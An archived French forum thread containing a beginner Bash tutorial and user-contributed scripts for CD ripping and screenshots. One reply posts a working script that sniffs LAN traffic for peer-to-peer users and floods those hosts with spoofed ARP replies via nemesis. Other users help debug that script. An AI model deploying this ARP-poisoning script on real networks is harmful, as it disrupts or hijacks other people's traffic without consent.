Jump to content

Archived

This topic is now archived and is closed to further replies.

P-A

[Tuto] Les Scripts Bash

Recommended Posts

[Tuto] Comment et pourquoi utiliser Bash ?

Sommaire

1- Introduction a Bash

2- Pourquoi utiliser Bash ?

3- Votre premier script bash

4- Les test en Bash

5- Les boucles en Bash

6- les fonctions en Bash

1- Introduction a bash

Le Shell:

Les shell sont des interfaces entre l'homme et la machine, ils permettent de dialoguer via un langage specifique avec le systeme .

Les shell sont present essentiellement dans les systemes UNIX.

Dans ce tutorial, nous allons voir le shell bash, mais sachez qu'il existe d'autre type, tel que le fameux C shell, dit csh.

2- Pourquoi utiliser Bash ?

Sachez qu'un script bash permet d'automatiser enormement de chose. Par exemple, pour un developpeur C, il permet d'include les directives preprocesseur #ifndef _NOMFICHIER_H | #define _NOMFICHIER_H | #endif, dans tout les headers et ce, sans que le developpeur ait à se soucier de quoique soit.

Un autre exemple d'utilisation, bien connu par la majorité des linuxiens, est la mise en place d'un firewall. En effet, on passe les regles iptables par un script qui s'execute au demarrage de la machine (pour peu qu'on ait mis le script au bon endroit)

Vous pouvez aussi imaginer d'autres utilisations, tel que le renommage massif de fichiers, ou encore le nettoyage de votre dossier personnel de façon automatique.

3- Votre premier script shell

Avant tout, il faut savoir qu'un script peut utiliser toute les commandes disponibles du système, comme si on était en mode console. Par consequent, on peut écrire le petit script suivant

 #!/bin/sh
 ############################
 #	Hello world !		  #
 ############################

 echo "hello world"

et voilà votre premier script shell !

notez la premiere ligne. elle indique quel shell doit etre utiliser pour interpreter ce script, en l'occurence sh !

pour la suite rien de complexe, un simple echo, qui peut s'utiliser avec, ou sans quotes. dans ce cas la, elles ne sont pas necessaires, mais si on veut afficher #hello world# par exemple, on ne peut s'en passer !

n'oubliez pas le man pour chaque commande :transpi:

Nous allons maintenant faire le meme script mais avec une variable STRHELLO


#!/bin/sh

STRHELLO="hello world"

echo $STRHELLO

bien, on a donc le meme resultat. Sachez qu'en sh , les variables ne sont pas typées, on peut faire tout et n'importe quoi mais attention, cela peut donc etre assez nefaste pour le systeme nerveux si on fait n'importe quoi :incline:

4- Les test en shell

Bien. l'interet du shell n'est bien evidemment pas d'afficher des hello world toute la journée ;-)

+ la notion de test

pour faire un test en sh, il faut lui indiquer clairement. pour cela, nous allons voir la boucle if. qui a la syntaxe suivante


 if test $i -eq 0 
 then
# faire les commandes
 fi

que signifie ce bloc if ?

vous avez remarquer la presence de la commande test qui peut se remplacer par un le caract_re [. en effet, il existe un lien symbolique de la commande [ vers test. Mais meme s'il s'agit d'un caractere special, cela reste une commande, et donc comme vous le savez il faut des espaces entre chaque commande.

on peut donc traduire le script precedent par

 if [ $i -eq 0 ]
 then  
# faire commande
 fi

ne pas oublier de fermer le bloc if par fi !

comparer des variables ne peut se faire a l'aide des ymboles, =,>,< habituels, il faut utiliser la liste de comparateur suivants

-eq # pour egal

-lt # pour less than ou plus petit que

-le # pour less or equal, soit plus petit ou egal

-gt # pour greater than, ou plus grand que

-ge # pour greater or equal, soit plus grand ou egal

+ le test case

exemple

case $TOTO in

	 valeur)
   # faire commande 
;;
	 valeur2)
  # faire commande 2
;;
	 *)
  # faire commande par defaut
;;
esac

le case permet de tester differentes valeur d'une variable, sans passer par des ifs multiples (pour ceux qui connaissent, c'est le switch du C)

on indique dans le bloc case chaque valeur, on peut utiliser le symbole * comme wildcard (joker)

on termine le bloc par un esac, ou case a l'envers :incline:

NB: toute ligne en bash, commençant par le charactere # est une ligne de commentaire

dans la suite du tuto, nous verrons les boucles, a bientot :incline:

EDIT: 21/06/2006 Mise en forme, mieux vaut tard (voire trés tard :incline: ) que jamais

Share this post


Link to post
Share on other sites

5- Les boucles

+La Boucle While

rien de tel qu'un exemple pour commencer

#!/bin/sh

i=0

while [ $i -lt 10 ]
do 
echo "PC INpact R0x0r"
$i=`expr $i + 1`

done


Ce code nous affiche dix fois "PC INpact R0x0r".

Cela ressemble pas mal au code While du C, donc les habitués ne devrait pas etre destabilisés. on affecte 0 a une variable de bouclage nommée "i".

puis on veut boucler dix fois. on indique que le script doit continuer tant que i est strictement inferieur a 10.

notez qu'on aurait pu ecrire

while test $i -lt 10
do	
 ...

l'interieur de cette boucle est plus interressante. en bash, les calculs ne sont pas fait par defaut. il faut lui indiquer la commande expr qui permet d'evaluer une expression mathematique. en l'occurence, l'incrementation de i, soit i+1.

notez que la ligne d'incrementation nous propose une bizarrerie. en bash, lorsqu'on souhaite utiliser le resultat d'une fonction, il faut mettre celle ci entre basse-cotes (altGR+7 pour ceux qui ignorent comment les faire, avec un clavier azerty biensur). si vous les omettez, vous verrez que ça ne fonctionne pas.

ne pas oublier de terminer le bloc while par done !

+La boucle for

les habitués de programmation auront trés certainement remarqué que la boucle precedente est l'apanage des fameuses boucles "for"

Grande surprise, en bash, la boucle for nous propose un grosse variante d'approche.

prenons la meme boucle que precedement et traduisons la de façon a ce qu'elle fonctionne avec un for


#!/bin/sh


for i in `seq 0 9`
do

echo "PC INpact R0x0r"

done

en realité, la boucle for continue tant que la test condition est rempli. ici ça boucle tant que i est compris dans la sequence de tout les chiffres allant de 0 a 9. l'incrementation est toujours automatique, pas de probleme, on a un for commun.

maintenant essayons un script un peu plus esoterique.


#!/bin/sh



for i in toto tata titi tutu
do

echo "PC INpact R0x0r"

done

on lance le script et la surprise, il affiche PC INpact R0x0r 4 fois ! mais pourquoi ? en fait la boucle va s'iterer autant de fois qu'il y a de mot dans la chaine donnée, la boucle for a donc un petit plus ! on peut faire un petit compteur de mot facilement !


#!/bin/sh


echo "Entrez une phrase:"
read PH
echo "------------------"

cmpt=0

for i in $PH
do
cmpt=`expr $cmpt + 1`
echo $i "mot n°" $cmpt

done

echo $cmpt "mots !"

et voila on a un petit compteur de mots facilement ! on remarque que la variable i n'a rien de numerique dans ce cas la, elle passe au mot suivant contenu dans la chaine de depart !

for en bash c'est formidable !

6- Les fonctions en bash

Bien, maintenant nous allons voir rapidement comment écrire une fonction dans le cas ou vous avez certains pattern qui se repetent dans votre script.

Basiquement, un fonction se déclare grace au mot clef "function", suivi du petit nom que vous lui donnerez.

Voici un petit script simpliste qui permet de mieux comprendre ;-)

#!/bin/sh

function bonjour
{
 echo "bonjour et bienvenue " $1
}

echo "Quel est votre nom?"
read NOM

bonjour $NOM

ce petit script, vous l'aurez compris, vous demande votre nom et vous salue bien bas :transpi:

Contrairement aux autres langages de programmation on voit ici qu'il n'est pas nécessaire de préciser de le nombre de paramètres à passer a la fonction. c'est trés permissif, donc il faut faire attention ! Chaque paramètre est accessible via les arguments $1, $2 , $3 etc. (en fonction du nombre de paramètres).

Share this post


Link to post
Share on other sites

7- Trucs et astuces (A compléter )

( a faire, si vous avez des idées, postez les dans le topic :transpi: )

Share this post


Link to post
Share on other sites

excellent.

( Par contre auras-tu assez de <<reservé>> ? ) si non, ben continue après mon message, je l'effacerai à l'occasion :craint: ).

Share this post


Link to post
Share on other sites

Merci :roll:

en ce qui concerne les emplacements reservés, je pense 4 que suffiront pour les bases, pour l'utilisation avancé de bash, je ferai un autre topic :roll:

j'essai de terminer ce tuto le plus rapidement possible mais c'est vrai que j'ai pas mal de taf en ce moment, alors j'essai de concilier, ne m'en veuillez pas si je prends un peu de retard :roll:

Share this post


Link to post
Share on other sites
mais c'est vrai que j'ai pas mal de taf en ce moment, alors j'essai de concilier, ne m'en veuillez pas si je prends un peu de retard ;)

on en est tous la.... :pleure:

Share this post


Link to post
Share on other sites

je l'avais pas vu ce petit tuto très sympa :-D

bravo ! :craint:

il y a tellement de chose qu'on pourrait faire en shell pour se simùplifier la vie et qu'on l'on persiste à coder dans un langage plus complexe, que cela méritait bien un petit tuo :D

Share this post


Link to post
Share on other sites

Bon ben puisque l'ont parle de bash, voila un ptit script que je viens de faire pour ripper mes cd audios en ogg avec recherche cddb et tag automatique:

#! /bin/sh
#
#Declaration des variables
#
CDDA2WAV=cdda2wav
CDDA2WAV_OPTS='dev=/dev/cdrom  -v titles -J -L'
CDDB_MODE=1
TMP=/tmp/cdda2cddb
ENCODE_DIR=$1

ENC=oggenc
ENC_OPTS='- -m 256 -M 320'

#
#Fonction pour afficher les echo en couleur
#31=rouge, 32=vert, 33=jaune,34=bleu, 35=rose, 36=cyan, 37= blanc
color()
{
  #echo [$1`shift`m$*[m
  printf '\033[%sm%s\033[m\n' "$@"
}

#
#Fonction d'insertion manuelle des information
#
info_manu()
{
echo
echo `color 36 "-------"`
echo "Artist?"
echo `color 36 "-------"`

read DISC_ARTIST

echo
echo `color 36 "-------"`
echo "Album?"
echo `color 36 "-------"`

read DISC_TITLE

for i in audio_*.inf
do
 TRACK_NUM=`cat $i | grep Tracknumber= | sed 's/Tracknumber=//' | sed 's/\t//'`
 cat $i | sed 's/Tracktitle=//' > $i 
 echo
 echo `color 36 "--------------"`
 echo "Titre piste" `color 34 $TRACK_NUM`
 echo `color 36 "--------------"`
 read TRACK_TITLE
 echo "Tracktitle=""'$TRACK_TITLE'" >> $i
done

}

#
#Fonction de recup des infos et mise en variable
#
recup_cddb()
{
cd $1
echo `color 31 'Verification du cd dans la base de donnees cddb...'`
$CDDA2WAV $CDDA2WAV_OPTS $CDDB_MODE 1> /dev/null 2> /dev/null
CDINDEX=audio.cdindex
if [ -r $CDINDEX ]; then
DISC_ARTIST=`cat $CDINDEX | grep '<Artist>' | sed 's/<Artist>//' | cut -f1 -d '<' | sed 's/^ *//'`
DISC_TITLE=`cat $CDINDEX | grep '<Title>' | sed 's/<Title>//' | cut -f1 -d '<' | sed 's/^ *//'`
else
echo `color 31 "ERREUR!!!"`
echo `color 31 "Aucune information sur le cd n'as ete trouvee!"`
echo
echo "---------------------------------------------------------------"
echo `color 31 "Voulez vous entrer les  informations manuellement? (o/n)"`
echo "---------------------------------------------------------------"

read REP
if  [ "$REP" == 'o' ]; then
 info_manu
else
 exit
fi
fi

echo Artiste: `color 34 "$DISC_ARTIST"`
echo Album: `color 32 "$DISC_TITLE"`

for i in audio_*.inf
do
TRACK_NUM=`cat $i | grep Tracknumber= | sed 's/Tracknumber=//' | sed 's/\t//'`
TRACK_TITLE=`cat $i | grep Tracktitle= | sed 's/Tracktitle=//' | sed 's/\t//' | tr -d "'" | tr [/] "|"` #dernier tr remplace / par |
echo `color 34 "$TRACK_NUM"` `color 36 "$TRACK_TITLE"`
done
}

#
#Fonction de lancement de l'encodage avec mise en place des tag
#
encode()
{
for i in $TMP/audio_*.inf
do
TRACK_NUM=`cat $i | grep Tracknumber= | sed 's/Tracknumber=//' | sed 's/\t//'`
TRACK_TITLE=`cat $i | grep Tracktitle= | sed 's/Tracktitle=//' | sed 's/\t//' | tr -d "'" | tr [/] "|"` #dernier tr remplace / par |
echo "Encodage de la piste:" `color 34 "$TRACK_NUM"` "vers:" `color 36 "$TRACK_NUM - $TRACK_TITLE.ogg"`
OUTPUT="$TRACK_NUM - "$TRACK_TITLE""
$CDDA2WAV dev=/dev/cdrom -H -q -t$TRACK_NUM - |  $ENC $ENC_OPTS  -t "$TRACK_TITLE" -a "$DISC_ARTIST" -l "$DISC_TITLE" -n $TRACK_NUM -o "$ENCODE_DIR/$DISC_TITLE/$OUTPUT".ogg
done
}

#
#Verification du lancement du script avec un argument
#
if [ "$1" == '' ]; then
echo `color 31 "ERREUR!!!"`
echo `color 31 "Repertoire manquant"`
echo `color 32 "Usage:"`
echo `color 34 "cdda2cddb /rep/pour/fichiers/ogg"`
exit
fi

#
# Creation d'un dossier temporaire propre
#
if [ -r $TMP ]; then
rm -r $TMP
mkdir $TMP
else
mkdir $TMP
fi	

recup_cddb $TMP

echo
echo "---------------------------------------------------------------"
echo `color 31 "Voulez vous lancer l'encodage dans $ENCODE_DIR ? (o/n)"`
echo "---------------------------------------------------------------"

read REP
if  [ "$REP" == 'o' ]; then
encode $ENCODE_DIR
rm -r $TMP
else
exit
fi

Ou bien en page web ICI

L'usage: ./cdda2cddb lerep/vers/lequel/vous/voulez/ripper :ortho:

Bon c'est pas super propre, surtout au niveau des manipulations de string, mais ca a jamais été mon fort ca :roll:

Si ca peut etre utile a quelqu'un :ouioui:

Bon script a tous :zarb:

Ps: Allé soyons fous uin ptit screenshoot ;)

MAJ:

- Possibilité de mettre les infos du cd manuellement en cas d'echec cddb :zarb:

- verif du lancement du script avec un argument

Share this post


Link to post
Share on other sites

TFC, c'est pas toi qui avait posté un script bash sur un autre topic l'autre jour ? j'ai oublié de bookmarquer la page. Dommage, je le trouvais sympa, donc je me suis dis qu'il fallait que je le récupere un jour, mais j'ai oublié le topic. J'ai meme oublié a quoi il servait :cartonrouge:

Le seul truc dont je me souvienne, ca devait etre que ct toi l'auteur ^^

Share this post


Link to post
Share on other sites

Vui ct moi :p

Ct un script a binder sur une touche pour faire des impressions ecran "en sessions", je l'avais posté dans le bar, je vais le remettre ici vu que c'est plus aproprié

:p

#!/bin/bash
#
#
# Declaration variables
DIR="/home/tfc/"
FILENAME="screen"
NUM=""
EXT=".png"

# Fonctions:
# Verif
screen_check(){
if [ -r $1 ]; then
 EXIST=1
else
 EXIST=0
fi
}

# Capture
screen_cap(){
import -window root $1
}

# Increment
screen_num_inc(){
if  [ "$NUM" == "" ]; then
 NUM="0"
 return
else	
 NUM=`expr $NUM + 1`
fi
}

#Script:
screen_check $DIR$FILENAME$NUM$EXT

while [ $EXIST == "1" ]; 
do
screen_num_inc
screen_check $DIR$FILENAME$NUM$EXT
done

screen_cap $DIR$FILENAME$NUM$EXT

## End

Ou bien ICI :oops:

Le script verifie que le fichier recevant le screenshot existe, si c'est le cas, il en cré un nouveau en incrémentant (ex screen.png, screen0.png, screen1.png etc), ca permet d'en prendre plusieurs de suite sans ecraser le precedant. D'ou le "en sessions" :-D , c'est plus simple pour prendre des captures de ton jeu favoris sous wine ;)

Le bash c'est bon mangez en :cartonrouge:

Share this post


Link to post
Share on other sites

Le script verifie que le fichier recevant le screenshot existe, si c'est le cas, il en cré un nouveau en incrémentant (ex screen.png, screen0.png, screen1.png etc), ca permet d'en prendre plusieurs de suite sans ecraser le precedant. D'ou le "en sessions" :p , c'est plus simple pour prendre des captures de ton jeu favoris sous wine :oops:

Le bash c'est bon mangez en :cartonrouge:

Parfait :) Merci beaucoup :)

Petite question, ca marche sur les jeux en fullscreen ? :) (je pense que oui, ca prends un screenshot du client X a un instant T)

Share this post


Link to post
Share on other sites

Bonsoir @ tous ;-)

j'ai un petit soucis avec un petit script à moi, je vous explique le topo.

Ce script marchait trés bien mais le truc c'est que au lieu de faire 3 fonctions dans le script je faisais appel à des scripts externes ce qui fait qu'au lieu d'avoir un seul fichier script dans mon repertoire, j'en avais 4 ce qui n'est pas super. Alos j'ai essayé de tout passer dans un seul mais j'ai un soucis avec la commande xargs. En effet, je n'arrive pas à appeller de fonctions internes de mon script quand je me sers de xargs, sauriez vous où ça cloche ?

#!/bin/bash
ip_gw="192.168.0.1"
mac_gw="00:50:7F:24:86:0C"
mac_dst="00:0D:88:82:68:15"
interface="ath0"

poison()
{
i=0
j=10
while [ $i -lt $j ]; do 
 nemesis arp -rvv -d $interface -H $mac_dst -M $2 -S $ip_gw -D $1 -h $mac_dst -m $2 >> /dev/null 
 sleep 2 
 let i=i+1
 echo ARP number $i / $j to $1 : $2 
done
}

get_mac()
{
if !(ping -c 1 $1 > /dev/null)
 then
 echo host not found 
else
 echo host $1 valid...
 echo arp poisonning in progress... 
 cat /proc/net/arp | grep $1[^[:digit:]] | grep : | grep -o ..:..:..:..:..:.. | xargs -i poison $1 {}
fi
}

snif()
{
tethereal -R "tcp.srcport == 4662 || tcp.srcport == 1214 || gnutella || bittorrent" -T pdml -a duration:10 | grep ip.dst | grep 192.168.0 | cut -d = -f 3 | cut -d " " -f 2 | sort -u | xargs -i get_mac {}
get_mac $ip_to_mac
}

arp -s $ip_gw $mac_gw

while [ 1 ]; do
snif
sleep 20 
done;

Merci beaucoup :transpi:

Share this post


Link to post
Share on other sites

je comprends vraiment pas pourquoi tu veux te servir de xargs :transpi:

tu ne peux pas faire un poison $1 `cat machin truc | grep chose | blabla` ???

Share this post


Link to post
Share on other sites

yeah merci, je connaissais pas cette façon de faire ;-) :keskidit:

( noobz inside :-/ )

mais y'a un soucis je n'arrive pas à faire passer cette syntaxe avec la premiere ligne 'tethereal ....'

Share this post


Link to post
Share on other sites

en faisant

get_mac `tethereal -R "tcp.srcport == 4662 || tcp.srcport == 1214 || gnutella || bittorrent" -T pdml -a duration:10 | grep ip.dst | grep 192.168.0 | cut -d = -f 3 | cut -d " " -f 2 | sort -u`

, ça ne passe pas?

EDIT :

executes the command (default is /bin/echo) one or more times with any initial-arguments followed  by  arguments  read  from  standard input.

man xargs, là tu ne te sers pas de l'entrée standard, alors xargs ne te sers à rien... :keskidit:

Share this post


Link to post
Share on other sites

ok, en fait j'avais mis des apostrophes à la place de simples quotes.

le problème c'est que si le sniff ne renvoie rien ça m'appelle quand même la fonction get_mac, enfin, ca c'est secondaire, je peux faire une vérification sur le résultat que j'aurais stocké au préalable dans une variable temporaire.

merci pour ton aide ;-)

Share this post


Link to post
Share on other sites

c'est pas des quotes normales --> ' <--, hein. c'est des --> ` <-- avec AltGr+7 :keskidit:

Share this post


Link to post
Share on other sites

yep merci j'avais po fait gaffe ;-)

mais je viens de penser à un autre problème, comment je fais si le sniff me renvoie plusieurs ip ? ...

c'est pour tout ça que la méthode avec plusieurs scripts dans des fichiers différents fonctionnait :-D.

Share this post


Link to post
Share on other sites
c'est pas des quotes normales --> ' <--, hein. c'est des --> ` <-- avec AltGr+7 :-D

D'ailleurs, je me rappelle plus la difference entre les 2. C quoi ? :)

Share this post


Link to post
Share on other sites

les quotes simples sont des... ......... ........... simple quotes (ok caynul :zarb: )

les autres renvoyoient le résultat de la commande qu'elles contiennent :

VARIABLE = cat `ls fichier[0123456789]` | grep coucou

est en fait la même chose que

VAR2=$(ls fichier[0123456789])

VARIABLE=cat $VAR2 | grep coucou

mouaif, je suis moyennement convaincu par mon exemple. en fait ` a le même effet que $() , c'est à dire renvoyer le résultat de la commande qu'elle encadre :-D

Share this post


Link to post
Share on other sites

×
×
  • Create New...